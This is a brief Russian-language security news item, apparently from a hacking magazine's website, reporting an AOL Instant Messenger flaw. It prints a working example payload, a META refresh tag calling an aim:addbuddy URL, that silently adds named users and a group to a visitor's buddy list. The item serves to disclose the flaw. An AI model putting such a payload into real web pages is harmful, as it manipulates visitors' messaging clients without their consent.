Лучшие статьи квартала на бумаге
2 000 ₽
Заказать журнал
Полный доступ к статьям и архиву выпусков
6 000 ₽ в год
Подписаться
Совместный курс «Хакера» и лаборатории «Хаксет»
7 000 ₽
Купить курс
Лучшие статьи за 2021–2022 годы на бумаге
2 000 ₽
Заказать журнал
Новая уязвимость в AOL Instant Messenger позволяет из HTML
cтранички добавлять пользователей в контакт лист.
Пример использования уязвимости:
<META HTTP-EQUIV="refresh"CONTENT=0;URL=aim:addbuddy?listofscreennames=
mindfliporg,mfliporb,mflipmax,mflips0nic,mflipzorcon&groupname=mindfliporg>
Данный пример добавит группу mindfliporg и добавит пользователей mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon в buddy list.
Сайт защищен Qrator —